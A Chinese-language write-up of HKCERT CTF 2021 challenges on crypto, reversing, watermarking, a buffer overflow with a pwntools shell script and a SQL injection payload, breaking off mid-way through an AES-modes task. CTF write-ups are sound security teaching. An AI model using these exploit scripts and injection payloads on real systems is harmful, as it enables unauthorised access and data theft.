HKCERT CTF 2021 write up

2021-11-21_01-14

前陣子玩了香港舉辦的 CTF : https://platform.ctf.hkcert.org/challenges

十分具有香港的本土特色,在 CTF 裡少見的出現中文字讓我好感動,加上每一個題目都推薦了一首中文歌(幾乎廣東歌),光看題目也是蠻有趣。

題目都設計的相當不錯,比賽結束後都在題目上加了提示,所以事後來寫一下 write up。

無聲浪 (50 points)

像密碼 若無線索

只好留下困惑

IEEE Transactions on Signal Processing, Vol.51, (no.4), pp.1020–33, 2003.

Walkthrough:

  1. Google the description
  2. Find the GitHub repository written by Microsoft
  3. Download the tool (repository) in zip
  4. Extract the zip, for example, you extract the zip under D:\Downloads
  5. Copy the audio file (waterwave.wav) to D:\Download\microsoft-audio-watermarking-master\build\
  6. Open the command prompt and execute the following:

    D:\Download\microsoft-audio-watermarking-master\build\detect2003.exe D:\Download\microsoft-audio-watermarking-master\build\watermark.wav

  7. Record ass Hex decoded
  8. Convert all Hex it into ASCII characters, there are many online tools that can be used
  9. Profit

有部分參賽者反應 Github 上的工具未能正常執行。請使用命令提示字元(cmd.exe)打開該程式。 There is some contester mentioned that the tool on Github cannot be executed normally. Please use command prompt (cmd.exe) to execute the program.

Attachments:

the-wave-of-us_ed82d2616c9d118d8dc8637022902330.zip

解法

其實就是跟著上面方法做

1. 先壓縮查看檔案

$ unzip the-wave-of-us_ed82d2616c9d118d8dc8637022902330.zip
Archive:  the-wave-of-us_ed82d2616c9d118d8dc8637022902330.zip
  inflating: waterwave.wav

$ file waterwave.wav
waterwave.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz

大概就是一段 7 分鐘的海浪聲音頻

2. 到 Github 找工具

就是這個工具: https://github.com/toots/microsoft-audio-watermarking (提示也太好了吧)

3. 轉到 Windows

由於 wav 檔屬於 Windows 系統 (Google說的),所以 Github 上那個 microsoft-audio-watermarking 工具大概也要在 Windows 上運行

4. 在 Windows 上執行 detect2003.exe

這個工具能找出音頻裡的浮水印

C:\Users\ank-windows>C:\Users\ank-windows\Downloads\microsoft-audio-watermarking-master\build\detect2003.exe C:\Users\ank-windows\Downloads\waterwave.wav
(c) Microsoft Corporation. All rights reserved.

Audio watermark detection (c) 1999 Microsoft Corp.
** CONFIDENTIAL AND PROPRIETARY **
Input file: C:\Users\ank-windows\Downloads\waterwave.wav
Number of channels = 2
Sampling frequency = 44100 Hz
Sound clip length = 7:00:000 (M:S:D) = 18522000 samples

Detecting watermarks...
Time=0.000sec [NC= 20.5352 WM=68]
Time=0.139sec [NC= 21.8987 WM=68]
Time=0.279sec [NC= 20.2259 WM=68]
Time=0.418sec [NC= 22.2163 WM=68]
Time=0.557sec [NC= 15.6691 WM=68]
Time=0.697sec [NC= 16.9104 WM=68]
Time=0.836sec [NC= 10.8752 WM=68]
Time=0.975sec [NC= 12.8074 WM=67]
Time=1.115sec [NC= 10.2325 WM=67]
Time=1.254sec [NC= 13.1657 WM=67]
Time=1.393sec [NC= 12.3803 WM=67]
Time=1.533sec [NC=  8.6073 WM=67]
Time=1.672sec [NC= 11.2524 WM=67]
Time=1.811sec [NC=  8.0517 WM=67]
Time=1.950sec [NC=  4.2887 WM=AA]
Window=0 Watermark Detected [NC= 21.4470 WM=68]
...
...略...
...
Time=402.631sec [NC=  7.3933 WM=0F]
Time=402.770sec [NC=  4.5501 WM=0F]
Window=36 Watermark Detected [NC= 21.0468 WM=00]
Window=37 Watermark Not Detected.
End of audio clip reached.

Elapsed time: 11.4 seconds = 2.713% of real time.
[Detection time: 3.6 seconds = 0.857% of real time.]

其中找出共 37 個浮水印,WM 就是我們想要的值,不過是 16 進位

比如第一個是 WM=68,第二個是 WM=6B,一直到 WM=00 結束

5.整理一下

Window=0 Watermark Detected [NC= 21.4470 WM=68]
Window=1 Watermark Detected [NC= 20.7645 WM=6B]
Window=2 Watermark Detected [NC= 20.9934 WM=63]
Window=3 Watermark Detected [NC= 21.0645 WM=65]
Window=4 Watermark Detected [NC= 20.8079 WM=72]
Window=5 Watermark Detected [NC= 20.7325 WM=74]
Window=6 Watermark Detected [NC= 20.8660 WM=32]
Window=7 Watermark Detected [NC= 20.6942 WM=31]
Window=8 Watermark Detected [NC= 20.8620 WM=7B]
Window=9 Watermark Detected [NC= 20.7891 WM=77]
Window=10 Watermark Detected [NC= 20.7809 WM=30]
Window=11 Watermark Detected [NC= 21.1518 WM=72]
Window=12 Watermark Detected [NC= 20.8987 WM=64]
Window=13 Watermark Detected [NC= 20.9555 WM=73]
Window=14 Watermark Detected [NC= 20.9826 WM=5F]
Window=15 Watermark Detected [NC= 20.6296 WM=66]
Window=16 Watermark Detected [NC= 20.8089 WM=72]
Window=17 Watermark Detected [NC= 20.8309 WM=30]
Window=18 Watermark Detected [NC= 20.6502 WM=6D]
Window=19 Watermark Detected [NC= 20.6745 WM=5F]
Window=20 Watermark Detected [NC= 20.9663 WM=33]
Window=21 Watermark Detected [NC= 20.6181 WM=6D]
Window=22 Watermark Detected [NC= 20.4951 WM=70]
Window=23 Watermark Detected [NC= 20.9045 WM=74]
Window=24 Watermark Detected [NC= 20.6903 WM=31]
Window=25 Watermark Detected [NC= 20.8252 WM=6E]
Window=26 Watermark Detected [NC= 20.8705 WM=33]
Window=27 Watermark Detected [NC= 20.8613 WM=73]
Window=28 Watermark Detected [NC= 20.8169 WM=73]
Window=29 Watermark Detected [NC= 20.7803 WM=7D]
Window=30 Watermark Detected [NC= 20.8448 WM=00]
Window=30 Watermark Detected [NC= 20.8448 WM=00]
Window=31 Watermark Detected [NC= 20.9327 WM=00]
Window=32 Watermark Detected [NC= 20.9149 WM=00]
Window=33 Watermark Detected [NC= 20.6806 WM=00]
Window=34 Watermark Detected [NC= 20.8183 WM=00]
Window=35 Watermark Detected [NC= 20.8318 WM=00]
Window=36 Watermark Detected [NC= 21.0468 WM=00]

6. 十六進位轉 ASCII

2021-11-21_02-15

小諧星 (50 points)

早知不可獲勝

擠出喜感做諧星

無力當 你們崇尚的精英

有幸獻醜的 小丑 都不失敬

In the beginning of 2020, Khaled A. Nagaty invented a cryptosystem based on key exchange. The cipher is faster than ever… It is impossible to break, right?

To solve this challenge, you need to read the source code chall.py. Try to get those questions answered:

  • Can shared_key generated from y_A and y_B?
  • If so, how do we calculate m from c and shared_key?
  • How can we convert the number m into a flag that is in the format hkcert21{...}?

(Updated hint at 13/11 18:56)

This is a key exchange scheme, where two entity (Alice and Bob) use the “cryptosystem” to exchange a shared key (i.e. after the process, they can generate the same key). After the key exchange, they can then use the shared key to encrypt / decrypt any message.

Thus, to decrypt the ciphertext back to plaintext (i.e. the flag), you will have to know the shared key, then use the “cryptosystem” to decrypt the ciphertext.

Can you get the shared key from the provided information? You have p, y_A and y_B, can you generate the shared key?

From the exchange function, self.shared_key = S_AB, and S_AB = (y_AB * y_B) * S_A % self.p; y_AB = y_A * y_B.

You have p,y_A and y_B, what are you missing? What is the relation between S_A and y_A and how can we use that?

(Updated hint at 14/11 00:25)

We are given output.txt that contains y_A and y_B, which are the public keys for Alice and Bob respectively. In this challenge, you need to derive the shared key S_AB from those public keys.

Look at the below line:

y_AB = y_A * y_B S_AB = (y_AB * y_B) * S_A % self.p

From above, we can compute the shared key S_AB from y_A, y_B and S_A. However, the challenge is so “secure” that we don’t even need any private keys. That said we can compute S_AB solely from y_A and y_B. How? Look at the relationship between S_A and y_A. In short, S_AB = (y_A * y_B * y_B) * y_A % p = (y_A * y_B)^2 % p.

One question is, how do we convert base 16 (those strings starting with 0x) to base 10? We can use Cyberchef to convert numbers. You can also find a product of two large numbers with Cyberchef. There is one question remain: What does % mean? Try to find it yourself!

Now we have the shared key S_AB (it is called sk below). If we have the ciphertext c, we can look the decrypt function shows how they decrypt:

def decrypt(self, c):
    sk = self.shared_key
    if sk is None: raise Exception('Key exchange is not completed')

    return c // sk

Okay, it is now a simple division. Now it is a primary-level math (actually not). Now you have a message represented as a number, you can convert the number here with Cyberchef again. Now put down the number for the flag!

(Updated hint at 14/11 02:45)

If you are getting something like 0x686B636572743231, that is hkcert21 in HEX. Find a HEX decoder online to grab your flag!

Attachments:

the-little-comedian_58178adf8b732db76116f5bb7e0c4198.zip

解法

1.查看附件

解壓縮後總共有 2 個文件

chall.py

import random
from Crypto.Util.number import getPrime as get_prime

# https://link.springer.com/content/pdf/10.1007/s42452-019-1928-8.pdf
class NagatyCryptosystem:
    def __init__(self, p=None):
        # Section 3.1
        # "Select a very large prime number p."
        self.p = get_prime(1024) if p is None else p

        # Generate 1024 numbers as the sequence
        u = [random.getrandbits(1024) for _ in range(1024)]

        self.private_key = sum(u)
        self.public_key  = self.private_key % self.p

        self.shared_key = None

    def start_exchange(self):
        return (self.public_key, self.p)

    def exchange(self, y_B):
        S_A = self.private_key
        y_A = self.public_key

        y_AB = y_A * y_B
        S_AB = (y_AB * y_B) * S_A % self.p

        self.shared_key = S_AB

    def encrypt(self, m):
        sk = self.shared_key
        if sk is None: raise Exception('Key exchange is not completed')

        return m * sk

    def decrypt(self, c):
        sk = self.shared_key
        if sk is None: raise Exception('Key exchange is not completed')

        return c // sk


# Sanity test
def test():
    cipher_alice = NagatyCryptosystem()
    alice_public_key, p = cipher_alice.start_exchange()

    cipher_bob = NagatyCryptosystem(p)
    bob_public_key, _ = cipher_bob.start_exchange()

    cipher_alice.exchange(bob_public_key)
    cipher_bob.exchange(alice_public_key)

    # Test: Alice sends a message to Bob and Bob is able to decrypt it
    m = 1337
    c = cipher_alice.encrypt(m)
    assert cipher_bob.decrypt(c) == m

    # Test: Bob sends a message to Alice and Alice is able to decrypt it
    m = 1337
    c = cipher_bob.encrypt(m)
    assert cipher_alice.decrypt(c) == m

def main():
    # Reads the flag and converts the string into a number
    with open('flag.txt', 'rb') as f: flag = f.read()
    flag = int.from_bytes(flag, 'big')

    cipher_alice = NagatyCryptosystem()
    alice_public_key, p = cipher_alice.start_exchange()

    cipher_bob = NagatyCryptosystem(p)
    bob_public_key, _ = cipher_bob.start_exchange()

    cipher_alice.exchange(bob_public_key)
    cipher_bob.exchange(alice_public_key)

    c = cipher_alice.encrypt(flag)

    print('p =', hex(p))
    print('y_A =', hex(alice_public_key))
    print('y_B =', hex(bob_public_key))
    print('c =', hex(c))

if __name__ == '__main__':
    test()
    main()

output.txt

p = 0xbba8eaf686a5cb3acb507a29e7fb852e107dd439a8d7ba7228cd74043c8f12e87af197ef20577b61a508612d96fcc8d8d883b7b552b324312bbb851b1b5b40d7683b44f2dc3ee97cf1e177e4acf2867430ba8d564b6f4899a826ebd4cf668249a900d6d81b3c475ba8c374c741ea5fb019e4e96859f6873ee5c726eb84daf345
y_A = 0x9e619600689100ef9bad38d607c0b2a148f04d7af65f20d6b4ac056c41a8d0653ee16194fde8bb85aea2e4ebaa493eb5a5b352218e380dc38190010eea7716795ac07a9d5f7a2bc610e0bc5234754e487ee52c76343b182e22242c800ae1cf8ae39788199dc636046c9b734262b0015a71e669d079215e7f91b684b4444200fa
y_B = 0xa52e458bc2274e412c6a5a51ce82a9612c9bb9fedcdfeeb45e18e7c71075a7761f32cbe1c6a7ea5b960f09d1d85a197bfc08ecb0a209daf67c67020844519f3092122492ef997f7715109ffb922b78346319db770cde83701534a097900f772499c012585c10892fbb70f978fc4f83236adda513c9b5b9c1a4386c1de6e70587
c = 0x49a1477e673e7ab4794f580ef4b54f23209aaa161e5b0f54709ffd6f647b07b15e3577e49479eeb98ef863c128d05c03fa8d8ca6cdefea4d45a8e201fc042417ea066958b926bfe4cbdd558373de791a6b993becddaf2a336609a0ef89d6e8b2af95d598762de2c6b69588d6473419a8a8dc45a5d4b3194c820c97aa6c94ea730ccaf2240721dfff706e3bc3981630187b610d14add798ff1b9a3bfc1c08b3bb562536e9b26caf809b7a7e2e3aabb12df810fe280a11

2.閱讀原始碼

這裡可以發現,加解密的方法都是透過 sk 這個值。

加密 : m * sk

解密 : c // sk

所以加解密說白了就只是乘除法而已,只要找到 sk 這個值就行

再逆著仔細讀

sk = S_AB

S_AB = (y_AB * y_B) * S_A % self.p

y_AB = y_A * y_B

S_A = self.private_key

透過上面資料,歸納一下基本上可以總結成:

sk = y_A * y_B * y_B * self.private_key % self.p

但是到這邊,我遇到一個難題,就是我並不知道 private_key

這時候我來了一下數字代入,把所有的數字都自己假設:

由於 public_key = private % p

alice : 9 = 31 % 11

bob : 2 = 57 % 11

再看看 shared_key:

alice 的 sk = 9 * 2 * 2 * 31 % 11 = 5

bob 的 sk = 2 * 9 * 9 * 57 % 11 = 5

很神奇的發現,即使 alice 和 bob 的 public key, private key 都不同,但最終 shared key 都是一樣,所以我們就要找出這中間的關連。

重新回看 sk 的生成

sk = y_A * y_B * y_B * self.private_key % self.p

在上面其中的

self.private_key % self.p

就不是 y_A 嗎?

也就是說,按照餘數定理,對 alice 來說 sk 是這樣算:

sk = (9 * 2 * 2 * 9) % 11

對 bob 來說,sk 是這樣算

sk = (2 * 9 * 9 * 2) % 11

所以它們的 sk 都一樣啦,那我們就可以在不用得知 31, 57 他們這些 private key 的情況下解出 sk

3.寫出 payload

solve.py

import libnum

y_A = 0x9e619600689100ef9bad38d607c0b2a148f04d7af65f20d6b4ac056c41a8d0653ee16194fde8bb85aea2e4ebaa493eb5a5b352218e380dc38190010eea7716795ac07a9d5f7a2bc610e0bc5234754e487ee52c76343b182e22242c800ae1cf8ae39788199dc636046c9b734262b0015a71e669d079215e7f91b684b4444200fa
y_B = 0xa52e458bc2274e412c6a5a51ce82a9612c9bb9fedcdfeeb45e18e7c71075a7761f32cbe1c6a7ea5b960f09d1d85a197bfc08ecb0a209daf67c67020844519f3092122492ef997f7715109ffb922b78346319db770cde83701534a097900f772499c012585c10892fbb70f978fc4f83236adda513c9b5b9c1a4386c1de6e70587
p = 0xbba8eaf686a5cb3acb507a29e7fb852e107dd439a8d7ba7228cd74043c8f12e87af197ef20577b61a508612d96fcc8d8d883b7b552b324312bbb851b1b5b40d7683b44f2dc3ee97cf1e177e4acf2867430ba8d564b6f4899a826ebd4cf668249a900d6d81b3c475ba8c374c741ea5fb019e4e96859f6873ee5c726eb84daf345
c = 0x49a1477e673e7ab4794f580ef4b54f23209aaa161e5b0f54709ffd6f647b07b15e3577e49479eeb98ef863c128d05c03fa8d8ca6cdefea4d45a8e201fc042417ea066958b926bfe4cbdd558373de791a6b993becddaf2a336609a0ef89d6e8b2af95d598762de2c6b69588d6473419a8a8dc45a5d4b3194c820c97aa6c94ea730ccaf2240721dfff706e3bc3981630187b610d14add798ff1b9a3bfc1c08b3bb562536e9b26caf809b7a7e2e3aabb12df810fe280a11
shared_key = (y_A * y_A * y_B * y_B) % p
m = c //shared_key
flag = libnum.n2s(m)
print("flag = ",flag)
$ py solve.py
flag =  b'hkcert21{th1s_i5_wh4t_w3_c4ll3d_sn4k3o1l_crypt0sy5t3m}'

想改寫的事 (50 points)

You may want to change something from the past, decide your future.

This challenge contains a buffer overflow vulnerability that allows attacker to write out-of-bound, overwriting the return address on the stack.

In order to get the flag, simply overwrite the return address with the address of get_shellget_shell function.

  1. Find out the number of bytes input before reaching the return address, i.e. input 1234 ‘A’s and next 8 bytes input will overwrite the return address. How to find the offset: https://youtu.be/Ag0OcqbVggc?t=3408

  2. Find out the address of get_shell function, e.g. 0x400123 How to find the address of a function: https://youtu.be/Ag0OcqbVggc?t=3651

  3. Write an exploitation script to send the payload (attack input) to the server, usually this can be done by Python and a python module pwntools, e.g. sendline(b'A'*1234+p64(0x400123))
    How to use pwntools to interact with the challenge: https://youtu.be/Ag0OcqbVggc?t=2356

  4. Find the flag file in the server and then cat the flag!! https://youtu.be/Ag0OcqbVggc?t=3824

Hints:

nc chalp.hkcert21.pwnable.hk 28028

Attachments:

warmup_6eab9fa64b5dd76649f6c0372315aabe.zip

解法

知識點

這是一道經典的 pwn 基礎題,香港朋友他們在出這一道題之前,已經事先在 Youtube 上發布了 PWN 101 - Buffer Overflow 【廣東話 CTF 新手教學】,雖然題目不同,但核心解法和原理幾乎一樣,可以說看了它就能解這題。而且這是一個適合新手的 pwn 入門視頻教學,特別推薦第一次玩 pwn 的小伙伴。

這裡有 2 個很重要的工具需要使用到,GEFpwntools,具體的安裝方法這裡不贅述,你是駭客就自行解決吧。

1.先看附檔內容

warmup.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_shell() {
    system("/bin/sh");
}

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    alarm(60);
}

int main () {
    char buf[100];
    char end[8] = "N";
    init();
    printf("Welcome to echo service.\n");
    while(!(end[0] == 'Y' || end[0] == 'y')){
        int num_read = read(0, buf, 0x100);
        if (buf[num_read-1] == '\n')
            buf[num_read-1] = '\0';
        printf("%s", buf);
        printf("End?[Y/N] ");
        scanf("%7s", end);
    }
}

這裡的目標是,從 read() 讀一個過長的字串,令 buf[100] 產生溢位(buffer overflow),從而執行函式 get_shell()

2.用 GEF 找溢位長度

附檔裡有一個叫 chall 的執行檔,它是 warmup.c 編譯出來的,我先給 chall 一個可執行的屬性。

chmod 777 chall
a.運行 gef
$ gdb
gef➤ file chall

2021-11-21_23-48

b. 查看 main 的 disassemble
gef➤  disassemble main

2021-11-21_23-51

c. 建立 break point

把 break point 建立在最後一個位置 0x00000000004012ba

gef➤ break *main+186

2021-11-21_23-55

d. 執行並填入大量字串
gef➤ run

2021-11-21_23-57

2021-11-21_23-57_1

e. 找出需要用多少字才回傳到 stack 的起始值
gef➤ pattern create 500

2021-11-22_00-02

2021-11-22_00-02_1

看到填入的字串產生了變化,搜尋第一行位置的 pattern 值

gef➤  pattern search 0x00007fffffffe228

2021-11-22_00-07

找到共需填入 383 個字元才到達 stack 的起始回傳的位置

3. 用 python 的 pwntools 寫 payload

記得用 gef 查看一下 get_shell 的位置

gef➤  disassemble get_shell

2021-11-22_00-20

from pwn import *

p = remote("chalp.hkcert21.pwnable.hk",28028)
p.recvuntil("service.")

get_shell = 0x0000000000401182
p.sendline(b"a"*383 + p64(get_shell))

p.recvuntil("End?[Y/N]")
p.sendline("y")

p.interactive()

這樣就能取得 shell 的執行權為所欲為

ls 
cat flag.txt

2021-11-22_00-09

理性與任性之間 (50 points)

I heard perfect shuffle is reproducible…

Hint (Updated on 13 Nov 19:05):

  • What is .pyc? Are there some tools for reverting pyc to some readable source (maybe back to python script)?
  • Maybe you can use decompyle3 or uncompyle6 to convert to pyc back to python script?
  • Next you have to revert the algorithm for flag, i.e. given the output, find the corresponding input (which is flag)
  • Understanding random module should help a lot… What is random.seed?
  • Why do this always produces same result (for same input) but not randomly differ each time? Can you make use of this to revert back to flag?
  • If it generate the same “shuffling” everytime, you should be able to know how the flag shuffles, then revert the process to get the flag?

Hint: (Update on 13 Nov 22:32) random.seed will reset the randomness state when you call it, so look carefully what the original script does!

Hint: (Update on 14 Nov 4:10) Check the python version outputted by decompyle3 / uncompyle6. Python 2 and 3 are VERY different! Also try to decompose the code into different parts if you found it too hard to understand. Maybe give it some data to test?

Attachments:

shuffle_03f016d972f11c15bb25d038a2bd6bb3.zip

解法

下載附檔後有 2 個檔案,一個 shuffle.pyc 和 一個 output.txt

$ file shuffle.pyc
shuffle.pyc: python 3.8 byte-compiled

shuffle.pyc 是一個經過編譯後的檔案,無法直接看懂原始碼,所以這裡要做的第一件事,是把 .pyc 反編譯成 .py

1.反編譯 (.pyc to .py)

這裡用到一個工具叫 uncompyle6

方法:

uncompyle6 shuffle.pyc > shuffle.py

shuffle.py

# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.9.7 (default, Oct 10 2021, 15:13:22)
# [GCC 11.1.0]
# Embedded file name: shuffle.py
# Compiled at: 2021-08-17 20:58:36
# Size of source mod 2**32: 281 bytes
import random
flag = open('flag.txt').read().encode()
random.seed(len(flag))
output = b''
for c in flag:
    res = list(map(int, bin(c)[2:].rjust(8, '0')))
    random.shuffle(res)
    shuffled = int(''.join(map(str, res)), 2)
    output += bytes([shuffled])
else:
    print(output)
# okay decompiling shuffle.pyc

output.txt

b'p\xbcl\xf0Y3C#\xf5\xf8\xb0\xe6\x98%\x17\xaf\xa8\x1d\xf1\x19\xb3i\x9aj\x1e\xccx\xb7F\xea\xfa]\r\xf1X\xc1\x8e\xee'

編譯過後,剩下的就是單純的解密。

2.修改原始碼直至看懂

這裡大概說一下它的”加密過程”,比如說一個字元 ‘k’,它的轉換過程如下:

  1. k -> ASCII to hex -> 107
  2. 107 -> hex to bin -> 01101011
  3. 01101011 -> random.shuffle -> 10111100
  4. 10111100 -> dec to hex -> \xbc

這裡的關鍵是 random.shuffle,我們不知道它是如何打亂,但我們知道這個亂數是有初始值 random.seed(len(flag))

一開始我以為 flag 的長度是不確定,但後來發現自己假設的 flag 長度和 output 的長度是一樣的

>>> output = b'p\xbcl\xf0Y3C#\xf5\xf8\xb0\xe6\x98%\x17\xaf\xa8\x1d\xf1\x19\xb3i\x9aj\x1e\xccx\xb7F\xea\xfa]\r\xf1X\xc1\x8e\xee'
>>> len(output)
38

即 random.seed(len(flag))

= random.seed(len(output))

= random.seed(38)

我們不僅能知道 flag 的總長度是 38 位,還能確定 random 的初始值 seed,換句話來說,它的隨機性是固定的(可重現的)

3.構造一個已知的 list 去進行同樣的 shuffle

舉個例子,我構造一個 list = [0, 1, 2, 3, 4, 5, 6, 7]

當我用同樣的 random.seed 去做同樣的 random.shuffle,那我便可以知道它如何打亂。

重現打亂後的值:

my_list = [0, 1, 2, 3, 4, 5, 6, 7] #打亂前
my_list_= [2, 0, 1, 6, 4, 7, 5, 3] #打亂後

等價於

res = [0, 1, 1, 0, 1, 0, 1, 1] #打亂前
res = [1, 0, 1, 1, 1, 1, 0, 0] #打亂後

4.寫出 payload

import random

output = b'p\xbcl\xf0Y3C#\xf5\xf8\xb0\xe6\x98%\x17\xaf\xa8\x1d\xf1\x19\xb3i\x9aj\x1e\xccx\xb7F\xea\xfa]\r\xf1X\xc1\x8e\xee'
flag = b''
random.seed(len(output))

for c in output:
    res = list(map(int, bin(c)[2:].rjust(8, '0')))
    my_list = list(range(8))
    random.shuffle(my_list)

    ans_res = [0]*8
    j = 0
    for i in my_list:
        ans_res[i] = res[j]
        j += 1
    shuffled = int(''.join(map(str, ans_res)), 2)

    flag += bytes([shuffled])
else:
    print("flag =",flag)    
$ py solve.py
flag = b'hkcert21{s1mp13_d3shu3ff3l3_1s_s1mp13}'

角落生物 1 (50 points)

Find out Squirrel Master’s password!

http://chalf.hkcert21.pwnable.hk:28062/

Walkthrough

This is a easy web challenge on SQL injection, which is a common vulnerability, especially in old applications. It is expected that experienced player / pentester can solve it within 5 min, but if you’re new to this game, read on!

Understanding the application

To find out abnormalities (bugs / vulnerabilities) in a web application, you need to first understand its behavior under normal usage. Visit the homepage (http://chalf.hkcert21.pwnable.hk:28062/) and you will see a cute squirrels saying hi to you, with a big button to Join the community. Other links in the webpage are either out of scope (not in the same website), or not simply functioning. So lets click that button.

In the SquirrelChat application, we can see there are two function: Login and Register. After registering an account and login to the application, we can see that there are additional function Chatroom and Logout, with lengthy (but not helpful) text on the homepage.

Click into chatroom, you can see a textbox allowing you to send message to the channel. Try send something!

How the web works

You should already know the content in this section if you’re familiar with the web.

Client and server model

Similar to most of the website in the world, the site you’re visiting contains two parts: client and server. The server ‘serves’ you by processing your request and providing webpage, images, videos etc for your browser. The client is your web browser, which send requests to server and display the response on your screen.

💡: Google “What is my browser”, “How to find out website server software”

Input - Process - Output

When you send a message, your browser will send a request to the server chalf.hkcert21.pwnable.hk:28062, with your chat message and other input values. The server will process your message and show it on every user’s webpage as output.

Path and Query string

Path and Query string are examples of the input to websites. When you do a Google search, you can notice the web browser address bar will contain an URL (web address):

| https://www.google.com/search?q=What+is+query+string   |
|           ^             ^       ^                      |
|           Server        Path    Query string           |
  • Server: www.google.com
  • Path: /search
  • Query string: q=What+is+query+string

💡: Google it: what does plus means in query string

SQL in SquirrelChat

As mentioned, the SquirrelChat application has a SQL injection vulnerability. The application uses SQL to store and retrieve your account details and channel messages in the server, and there are incorrect handling of user input when it construct the SQL query. Therefore it is possible to change the website behavior and leak flags from the server.

The SquirrelChat application construct the SQL query like this

SELECT * FROM users WHERE id={Your Input}

In the above SQL query, {Your Input} is replaced with the id provided in the query string. In plain English, this SQL query will SELECT (retrieve) users information, where the user id equals to your input in the query string.

So if you visit

http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=123

The query will become:

SELECT * FROM users WHERE id=123

Which show the user information whose id equals to 123. This code snippet looks completely innocent, but it is vulnerable to the deadly SQL injection vulnerability.

Let’s lookup what is SQL injection vulnerability. Google what is sql injection ctf and you can find this webpage as the top result.

Exploiting the SQL injection vulnerability

If we are able to change the SQL query to following:

SELECT * FROM users WHERE id=123 OR true

By visiting profile of user 123, we know that the user does not exists (i.e. id=123 is False). By appending OR true to the query, we changed the outcome to True regardless what is provided as id, therefore the system will return EVERY user in the system, including our target: Squirrel Master’s account. Recall your Math lessons:

OR Truth Table

A B A OR B
T T T
T F T
F T T
F F F

As you have answered in 🤔4, we have to change spaces into plus sign (+) in the query string. Therefore, you can send the query string as id=123+OR+true and get your flag.

Suggested Answers

🤔1

  • Change channel
  • View user details

🤔2

🤔3

  • Your user account (cookies) such that the application can show your name along with your message
  • Channel name (as in the URL)
  • Message
  • (There are much more…)

🤔4

解法

由於這題在比賽結束後,主辦方很佛心的在題目描述裡基本上把題目的解法給講完,所以只要把上面那大串英文看完,跟看了答案沒啥區別。不過我還是圖文並茂快速演繹一次。

1.打開網站

URL : http://chalf.hkcert21.pwnable.hk:28062/index.php

2021-11-23_00-31

2.點擊 Join the community

URL : http://chalf.hkcert21.pwnable.hk:28062/chat/

2021-11-23_00-33

3.註冊帳號 & 登入

URL : http://chalf.hkcert21.pwnable.hk:28062/chat/register

隨便註冊:

AC : abcabc PW : efgefg

2021-11-23_00-34

URL : http://chalf.hkcert21.pwnable.hk:28062/chat/

2021-11-23_00-39

4.進入 chatroom 並試試發 message

URL : http://chalf.hkcert21.pwnable.hk:28062/chat/message/public

2021-11-23_00-41

5.點擊對話框查看個人 profile

URL : http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=1207299191

2021-11-23_00-43

發現漏洞

眼尖的小伙伴這時候就能發現網址欄的 ID 可以任意改寫

6.修改網址欄

payload 就是 id=123+OR+true

URL : http://chalf.hkcert21.pwnable.hk:28062/chat/user?id=123+OR+true

2021-11-23_00-50

Got the Flag!!

Freedom (100 points)

Freedom where’s our freedom?

Freedom what would it be

Can you tell me what’s the reason?

Reason that meant to be

Every slightest mistake in cryptography would lead to a disastrous result. Let’s see what will happen when you allow end-users to pick the mode of operation…

nc chalp.hkcert21.pwnable.hk 28102

Attachments: freedom_ff0173b179d746386dca0e93e6c00d47.zip

解法

1.查看附檔

chall.py

import os
from Crypto.Cipher import AES
from Crypto.Util import Counter

def main():
    flag = os.environ.get('FLAG', 'hkcert21{*******************************REDACTED*******************************}')
    flag = flag.encode()
    assert len(flag) == 80

    key = os.urandom(16)
    iv = os.urandom(16)

    options = ['ecb', 'cbc', 'cfb', 'ofb', 'ctr']
    suboptions = ['data', 'flag']

    for _ in range(5):
        [option, suboption, *more] = input('> ').split(' ')
        if option not in options: raise Exception('invalid option!')
        if suboption not in suboptions: raise Exception('invalid suboption!')
        options.remove(option)

        if suboption == 'data':
            message = bytes.fromhex(more[0])
        else:
            message = flag

        if option == 'ecb':   cipher = AES.new(key, AES.MODE_ECB)
        elif option == 'cbc': cipher = AES.new(key, AES.MODE_CBC, iv)
        elif option == 'cfb': cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
        elif option == 'ofb': cipher = AES.new(key, AES.MODE_OFB, iv)
        elif option == 'ctr': cipher = AES.new(key, AES.MODE_CTR, counter=Counter.new(16, prefix=iv[:14]))

        ciphertext = cipher.encrypt(message)
        print(ciphertext.hex())
    else:
        print('Bye!')

if __name__ == '__main__':
    main()

就是提供了一個 AES 的加密途徑,分別有 ECB, CBC, CFB, OFB, CTR 這五種不同的模式,加密的文本,可以是自己輸入的 data,或是伺服器裡的 flag。

每一種加密方式只能用一次,乍看之下好像挺安全的,但由於單輪(共 5 次)的加密都是共用同個 Key 和 IV,所以我們就想辦法能不能在不同的加密模式下,取得 key 或 IV 來利用。

2. 重溫 AES 加密方式

參考自 mystiz - hkcert 2021 write up

$c^{(ECB)}_k := Enc(m_k)$

$c_k^{(CBC)} := Enc(m_k \oplus c^{(CBC)}_{k-1})$

$c_k^{(CFB)} := Enc(c^{(CFB)}_{k-1} ) \oplus m_k$

$c^{(OFB)}_k := Enc^k(IV) \oplus m_k$

$c^{(CTR)}_k := Enc(IV + K) \oplus m_k$

由於 IV 一樣,所以當明文全是 0 時,CBC, CFB 和 OFB 所加密出來的值是一樣

$ python chall.py
> cbc data 00000000000000000000000000000000
5967492a7e7f503e7688979c42309611
> cfb data 00000000000000000000000000000000
5967492a7e7f503e7688979c42309611
> ofb data 00000000000000000000000000000000
5967492a7e7f503e7688979c42309611

IV 只有 16 位長度,所以這裡只生成 32 個 0 就足夠(例子 a -> 61)

3.拆解 cbc 的加密流程

由於 flag 的總長度是 80 字長度,共 160 bit,共 5 個 block (32+32+32+32+32)

